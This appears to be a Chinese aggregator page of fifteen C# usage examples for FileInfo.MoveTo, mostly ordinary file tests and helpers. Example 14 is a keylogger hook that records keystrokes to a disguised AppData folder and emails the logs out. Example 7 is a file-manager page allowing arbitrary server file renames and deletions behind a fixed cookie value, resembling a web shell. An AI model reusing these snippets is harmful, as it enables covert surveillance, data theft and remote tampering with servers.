本文整理汇总了C#中FileInfo.MoveTo方法的典型用法代码示例。如果您正苦于以下问题:C# FileInfo.MoveTo方法的具体用法?C# FileInfo.MoveTo怎么用?C# FileInfo.MoveTo使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类FileInfo
的用法示例。
在下文中一共展示了FileInfo.MoveTo方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: NameChange
public void NameChange()
{
string source = GetTestFilePath();
string dest = GetTestFilePath();
FileInfo testFile = new FileInfo(source);
testFile.Create().Dispose();
Assert.Equal(source, testFile.FullName);
testFile.MoveTo(dest);
testFile.Refresh();
Assert.Equal(dest, testFile.FullName);
}
示例2: MoveLater
public void MoveLater(string id)
{
var oldItemOldName = GetFileNameFromId(id);
var oldItemIndex = oldItemOldName.Index;
var newItemIndex = oldItemIndex - 1;
var oldItemNewName = new NewsItemFileName(id, newItemIndex);
var newItemOldName = GetFileNameFromIndex(newItemIndex);
var newItemNewName = new NewsItemFileName(newItemOldName.Id, oldItemIndex);
var tempFileName = Path.GetTempFileName();
var newItemOldInfo = GetFileInfo(newItemOldName);
var oldFileOldInfo = GetFileInfo(oldItemOldName);
var tempFileInfo = new FileInfo(tempFileName);
tempFileInfo.Delete();
newItemOldInfo.MoveTo(tempFileName);
oldFileOldInfo.MoveTo(GetFileInfo(oldItemNewName).FullName);
tempFileInfo.MoveTo(GetFileInfo(newItemNewName).FullName);
}
示例3: MoveFileToDirectory
// Move file to destination directory and create the directory when none exists.
public static void MoveFileToDirectory(string srcFilePath, string destDir)
{
FileInfo fi = new FileInfo(srcFilePath);
DirectoryInfo di = new DirectoryInfo(destDir);
if ( ! di.Exists )
{
di.Create();
}
string destFilePath = Path.Combine(di.FullName, fi.Name);
try
{
fi.MoveTo(destFilePath);
}
catch (Exception ex)
{
UnityEngine.Debug.LogError(string.Format("Wwise: Error during installation: {0}.", ex.Message));
}
}
示例4: runTest
public bool runTest()
{
Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
String strLoc = "Loc_000oo";
String strValue = String.Empty;
int iCountErrors = 0;
int iCountTestcases = 0;
try
{
String filName = s_strTFAbbrev+"TestFile";
FileInfo fil1, fil2;
StreamWriter sw2;
Char[] cWriteArr, cReadArr;
StreamReader sr2;
if(File.Exists(filName))
File.Delete(filName);
strLoc = "Loc_498yg";
File.Create(filName).Close();
fil2 = new FileInfo(filName);
iCountTestcases++;
try
{
fil2.MoveTo(null);
iCountErrors++;
printerr( "Error_209uz! Expected exception not thrown, fil2=="+fil2.FullName);
}
catch (ArgumentNullException)
{
}
catch (Exception exc)
{
iCountErrors++;
printerr( "Error_21x99! Incorrect exception thrown, exc=="+exc.ToString());
}
fil2.Delete();
strLoc = "Loc_298vy";
File.Create(filName).Close();
fil2 = new FileInfo(filName);
iCountTestcases++;
try
{
fil2.MoveTo(String.Empty);
iCountErrors++;
printerr( "Error_092u9! Expected exception not thrown, fil2=="+fil2.FullName);
}
catch (ArgumentException)
{
}
catch (Exception exc)
{
iCountErrors++;
printerr( "Error_109uc! Incorrect exception thrown, exc=="+exc.ToString());
}
fil2.Delete();
strLoc = "Loc_289vy";
File.Create(filName).Close();
fil2 = new FileInfo(filName);
iCountTestcases++;
try
{
fil2.MoveTo(".");
iCountErrors++;
printerr( "Error_301ju! Expected exception not thrown, fil2=="+fil2.FullName);
}
catch (IOException iexc)
{
printinfo("Info_2389! Caught expected exception, exc=="+iexc.Message);
}
catch (Exception exc)
{
iCountErrors++;
printerr( "Error_209us! Incorrect exception thrown, exc=="+exc.ToString());
}
fil2.Delete();
strLoc = "Loc_r7yd9";
File.Create(filName).Close();
fil2 = new FileInfo(filName);
iCountTestcases++;
fil2.MoveTo(fil2.Name);
if(!File.Exists(fil2.Name))
{
iCountErrors++;
printerr( "Error_r8g7b! Expected exception not thrown");
}
fil2.Delete();
strLoc = "Loc_f548y";
File.Create(filName).Close();
fil2 = new FileInfo(filName);
iCountTestcases++;
fil2.MoveTo("TestFile.tmp1");
fil1 = new FileInfo("TestFile.tmp1");
fil2.Refresh();
if(File.Exists(filName))
{
iCountErrors++;
printerr( "Error_2978y! File not copied");
}
if(!File.Exists(fil2.Name))
{
iCountErrors++;
//.........这里部分代码省略.........
示例5: SetText
/// Return the formatted text.
/// Usually the text would be returned to an edit control.
private static void SetText(String textOut, String filePath)
{
// create a backup file
String origfilePath = filePath + ".orig";
File.Delete(origfilePath); // remove a pre-existing file
FileInfo outFile = new FileInfo(filePath);
outFile.MoveTo(origfilePath);
// write the output file - same name as input
try
{ char[] bufferOut = textOut.ToCharArray();
FileStream file = new FileStream(filePath, FileMode.Create);
StreamWriter streamOut = new StreamWriter(file);
streamOut.Write(bufferOut, 0, bufferOut.Length);
streamOut.Close();
}
catch (Exception e)
{ Console.WriteLine(e.ToString());
Error("Error writing file", filePath);
}
return;
}
示例6: UpdateFile
public static void UpdateFile(string fileName, string filePath, string attrString, int portalID, string userName, int userModuleID, string secureToken)
{
AuthenticateService objService = new AuthenticateService();
if (objService.IsPostAuthenticatedView(portalID, userModuleID, userName, secureToken))
{
filePath = GetAbsolutePath(filePath);
try
{
FileInfo file = new FileInfo(filePath);
/// Checking if file exists
if (file.Exists)
{
///get the folder path
filePath = filePath.Substring(0, filePath.LastIndexOf("/") + 1);
filePath = filePath + fileName;
file.MoveTo(filePath);
//FileManagerController.UpdateFile(fileId, fileName);
FileManagerHelper.SetFileAttributes(filePath, attrString);
//CacheHelper.Clear("FileManagerFileList");
}
}
catch (Exception ex)
{
fb.ProcessException(ex);
}
}
}
示例7: Page_Load
protected void Page_Load(object sender, EventArgs e)
{
base.Response.Cache.SetNoStore();
if (base.Request.Cookies["WQeditCookie"] == null)
{
base.Response.Write("Null");
base.Response.End();
}
else if (base.Request.Cookies["WQeditCookie"].Value.ToString() != "WQedit")
{
base.Response.End();
}
string str = "";
string str2 = "";
this.SelectPath.Value = base.Server.MapPath("~/").ToString();
if (base.Request.QueryString["dir"] != null)
{
str = base.Request.QueryString["dir"].ToString();
}
string path = base.Server.MapPath("upfile");
if (str != "")
{
path = str;
}
if (base.Request.QueryString["action"] != null)
{
str2 = base.Request.QueryString["action"].ToString();
}
if (str2 == "Add")
{
string str4 = "";
if (base.Request.QueryString["addPath"] != null)
{
str4 = base.Request.QueryString["addPath"].ToString();
if (Directory.Exists(str4))
{
base.Response.Write("<script>alert(\"该文件夹已存在\");window.history.back();</script>");
base.Response.End();
}
else
{
DirectoryInfo info = new DirectoryInfo(str4);
info.Create();
path = info.Parent.FullName.ToString();
}
}
}
else if (str2 == "Ren")
{
string newValue = "";
string str6 = "";
if (base.Request.QueryString["renPath"] != null)
{
str6 = base.Request.QueryString["renPath"].ToString();
}
if (base.Request.QueryString["newname"] != null)
{
newValue = base.Request.QueryString["newname"].ToString();
}
if ((newValue != "") && (str6 != ""))
{
if (str6.IndexOf(".") == -1)
{
DirectoryInfo info2 = new DirectoryInfo(str6);
if (info2.Exists)
{
info2.MoveTo(str6.Replace(info2.Name.ToString(), newValue));
path = info2.Parent.FullName.ToString();
}
}
else
{
FileInfo info3 = new FileInfo(str6);
if (info3.Exists)
{
string str7 = info3.Extension.ToString();
info3.MoveTo(str6.Replace(info3.Name.ToString(), newValue + str7));
path = info3.Directory.FullName.ToString();
}
}
}
}
else if (str2 == "Del")
{
string str8 = "";
if (base.Request.QueryString["delPath"] != null)
{
str8 = base.Request.QueryString["delPath"].ToString();
if (str8.IndexOf(".") == -1)
{
DirectoryInfo info4 = new DirectoryInfo(str8);
if (info4.Exists)
{
info4.Delete(true);
path = info4.Parent.FullName.ToString();
}
else
{
FileInfo info5 = new FileInfo(str8);
if (info5.Exists)
//.........这里部分代码省略.........
示例8: runTest
public bool runTest()
{
Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
int iCountErrors = 0;
int iCountTestcases = 0;
String strLoc = "Loc_000oo";
String strValue = String.Empty;
try
{
FileInfo fil2;
String filName = s_strTFAbbrev+"Test.tmp";
if(File.Exists(filName))
File.Delete(filName);
strLoc = "Loc_00001";
File.Open(filName, FileMode.Create).Close();
fil2 = new FileInfo(filName);
File.Delete(filName);
iCountTestcases++;
fil2.Refresh();
strLoc = "Loc_00005";
if(File.Exists("Temp001"))
File.Delete("Temp001");
iCountTestcases++;
File.Open(filName, FileMode.Create).Close();
fil2 = new FileInfo(filName);
fil2.MoveTo("Temp001");
fil2.Refresh();
File.Delete("Temp001");
strLoc = "Loc_00006";
iCountTestcases++;
File.Open(filName, FileMode.Create).Close();
fil2 = new FileInfo(filName);
Console.WriteLine(fil2.Attributes);
if(((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0)
{
iCountErrors++;
printerr( "Error_00007! Attribute set before refresh");
}
fil2.Attributes = FileAttributes.ReadOnly;
fil2.Refresh();
iCountTestcases++;
if(((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) <= 0)
{
iCountErrors++;
printerr( "Error_00008! Object not refreshed after setting readonly");
}
fil2.Attributes = new FileAttributes();
fil2.Refresh();
if(((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0)
{
iCountErrors++;
printerr( "Error_00009! Object not refreshed after removing readonly");
}
if(File.Exists(filName))
File.Delete(filName);
}
catch (Exception exc_general )
{
++iCountErrors;
Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy! strLoc=="+ strLoc +", exc_general=="+exc_general.ToString());
}
if ( iCountErrors == 0 )
{
Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
return true;
}
else
{
Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
return false;
}
}
示例9: SplitLog
private void SplitLog()
{
try
{
FileInfo _File = new FileInfo(_Location);
if (_Enabled && _File.Exists && _File.CreationTime.Date.CompareTo(DateTime.Now.Date) != 0)
{
string backupFileName = string.Format(@"{0}\logs_{1}.txt", _File.DirectoryName, _File.CreationTime.Date.ToString("yyyyMMdd"));
_File.MoveTo(backupFileName);
Initialize();
}
}
catch { return; }
}
示例10: UpdateFile
public static void UpdateFile(string fileName, string filePath, string attrString)
{
filePath = GetAbsolutePath(filePath);
try
{
FileInfo file = new FileInfo(filePath);
/// Checking if file exists
if (file.Exists)
{
///get the folder path
filePath = filePath.Substring(0, filePath.LastIndexOf("/") + 1);
filePath = filePath + fileName;
file.MoveTo(filePath);
//FileManagerController.UpdateFile(fileId, fileName);
FileManagerHelper.SetFileAttributes(filePath, attrString);
//CacheHelper.Clear("FileManagerFileList");
}
}
catch (Exception ex)
{
fb.ProcessException(ex);
}
}
示例11: runTest
public static void runTest()
{
String strLoc = "Loc_000oo";
String strValue = String.Empty;
int iCountErrors = 0;
int iCountTestcases = 0;
try
{
///////////////////////// START TESTS ////////////////////////////
///////////////////////////////////////////////////////////////////
String filName = Path.Combine(TestInfo.CurrentDirectory, Path.GetRandomFileName());
FileInfo fil1, fil2;
StreamWriter sw2;
Char[] cWriteArr, cReadArr;
StreamReader sr2;
if (File.Exists(filName))
File.Delete(filName);
// [] Exception for null arguments
//-----------------------------------------------------------------
strLoc = "Loc_498yg";
File.Create(filName).Dispose();
fil2 = new FileInfo(filName);
iCountTestcases++;
try
{
fil2.MoveTo(null);
iCountErrors++;
printerr("Error_209uz! Expected exception not thrown, fil2==" + fil2.FullName);
}
catch (ArgumentNullException)
{
}
catch (Exception exc)
{
iCountErrors++;
printerr("Error_21x99! Incorrect exception thrown, exc==" + exc.ToString());
}
fil2.Delete();
//-----------------------------------------------------------------
// [] String.Empty should throw ArgumentException
//-----------------------------------------------------------------
strLoc = "Loc_298vy";
File.Create(filName).Dispose();
fil2 = new FileInfo(filName);
iCountTestcases++;
try
{
fil2.MoveTo(String.Empty);
iCountErrors++;
printerr("Error_092u9! Expected exception not thrown, fil2==" + fil2.FullName);
}
catch (ArgumentException)
{
}
catch (Exception exc)
{
iCountErrors++;
printerr("Error_109uc! Incorrect exception thrown, exc==" + exc.ToString());
}
fil2.Delete();
//-----------------------------------------------------------------
// [] Try to Move onto directory
//-----------------------------------------------------------------
strLoc = "Loc_289vy";
File.Create(filName).Dispose();
fil2 = new FileInfo(filName);
iCountTestcases++;
try
{
fil2.MoveTo(TestInfo.CurrentDirectory);
iCountErrors++;
printerr("Error_301ju! Expected exception not thrown, fil2==" + fil2.FullName);
}
catch (IOException)
{
}
catch (Exception exc)
{
iCountErrors++;
printerr("Error_209us! Incorrect exception thrown, exc==" + exc.ToString());
}
//.........这里部分代码省略.........
示例12: runTest
public static void runTest()
{
int iCountErrors = 0;
int iCountTestcases = 0;
String strLoc = "Loc_000oo";
String strValue = String.Empty;
try
{
///////////////////////// START TESTS ////////////////////////////
///////////////////////////////////////////////////////////////////
FileInfo fil2;
String filName = Path.Combine(TestInfo.CurrentDirectory, Path.GetRandomFileName());
if (File.Exists(filName))
File.Delete(filName);
// [] Delete File and refresh
//----------------------------------------------------------------
strLoc = "Loc_00001";
File.Open(filName, FileMode.Create).Dispose();
fil2 = new FileInfo(filName);
File.Delete(filName);
iCountTestcases++;
fil2.Refresh();
//----------------------------------------------------------------
// [] Change name of File and refresh
//----------------------------------------------------------------
strLoc = "Loc_00005";
string tempFilName = Path.Combine(TestInfo.CurrentDirectory, "Temp001");
if (File.Exists(tempFilName))
File.Delete(tempFilName);
iCountTestcases++;
File.Open(filName, FileMode.Create).Dispose();
fil2 = new FileInfo(filName);
fil2.MoveTo(tempFilName);
fil2.Refresh();
File.Delete(tempFilName);
//----------------------------------------------------------------
// [] Change Attributes and refresh
//----------------------------------------------------------------
strLoc = "Loc_00006";
iCountTestcases++;
File.Open(filName, FileMode.Create).Dispose();
fil2 = new FileInfo(filName);
if (((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0)
{
Console.WriteLine(fil2.Attributes);
iCountErrors++;
printerr("Error_00007! Attribute set before refresh");
}
fil2.Attributes = FileAttributes.ReadOnly;
fil2.Refresh();
iCountTestcases++;
if (((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) <= 0)
{
iCountErrors++;
printerr("Error_00008! Object not refreshed after setting readonly");
}
fil2.Attributes = new FileAttributes();
fil2.Refresh();
if (((Int32)fil2.Attributes & (Int32)FileAttributes.ReadOnly) != 0)
{
iCountErrors++;
printerr("Error_00009! Object not refreshed after removing readonly");
}
//----------------------------------------------------------------
if (File.Exists(filName))
File.Delete(filName);
///////////////////////////////////////////////////////////////////
/////////////////////////// END TESTS /////////////////////////////
}
catch (Exception exc_general)
{
++iCountErrors;
Console.WriteLine("Error Err_8888yyy! strLoc==" + strLoc + ", exc_general==" + exc_general.ToString());
}
//// Finish Diagnostics
if (iCountErrors != 0)
{
Console.WriteLine("FAiL! " + s_strTFName + " ,iCountErrors==" + iCountErrors.ToString());
}
//.........这里部分代码省略.........
示例13: UpdateFile
public static void UpdateFile(int fileId, int folderId, string fileName, string filePath, string attrString)
{
filePath = GetAbsolutePath(filePath);
List<Folder> lstFolder = FileManagerController.GetFolders();
int folderType = 0;
int index = lstFolder.FindIndex(
delegate(Folder obj)
{
return (obj.FolderId == folderId);
}
);
if (index > -1)
{
folderType = lstFolder[index].StorageLocation;
}
string newFileName = fileName;
if (folderType == 1)
{
filePath += ".resources";
newFileName += ".resources";
}
try
{
FileInfo file = new FileInfo(filePath);
/// Checking if file exists
if (file.Exists)
{
///get the folder path
filePath = filePath.Substring(0, filePath.LastIndexOf("/") + 1);
filePath = filePath + newFileName;
file.MoveTo(filePath);
FileManagerController.UpdateFile(fileId, fileName);
FileManagerHelper.SetFileAttributes(filePath, attrString);
CacheHelper.Clear("FileManagerFileList");
}
}
catch (Exception ex)
{
fb.ProcessException(ex);
}
}
示例14: HookCallback
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
//Write to console and to file
Console.WriteLine((Keys)vkCode);
writeLetter((Keys)vkCode);
//Send log via email when it reaches a certain weight.
FileInfo logFile = new FileInfo(appData + @"\SysWin32\log.txt");
if (logFile.Exists && logFile.Length > 1000 && checkInternet())
{
string filename = "log_" + Environment.UserName + "@" + Environment.MachineName + "_" + DateTime.Now.ToString(@"MM_dd_yyyy_hh\hmm\mss") + ".txt";
sendMail(System.IO.File.ReadAllText(logFile.ToString()), senderEmail, receiverEmail, senderPassword, filename);
logFile.MoveTo(appData + @"\SysWin32\logs\" + filename);
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
示例15: InstallCoherentUIImpl
static void InstallCoherentUIImpl()
{
string workingDirectory = System.IO.Path.Combine(Application.dataPath, "CoherentUI");
foreach (string name in ResourcesToBeMovedOneUp.Resources.NameList)
{
string resource = System.IO.Path.Combine(workingDirectory, name);
if (File.Exists(resource))
{
FileInfo fi = new FileInfo(resource);
fi.MoveTo(Path.Combine(fi.Directory.Parent.FullName, fi.Name));
}
else if (Directory.Exists(resource))
{
MoveDirectoryOneUp(new DirectoryInfo(resource));
}
}
AssetDatabase.SaveAssets();
AssetDatabase.Refresh();
ReorganizeSamples(workingDirectory);
AssetDatabase.SaveAssets();
AssetDatabase.Refresh();
Debug.Log("Coherent UI installation complete.");
PlayerPrefs.SetInt("CoherentUI_Installed", 1);
}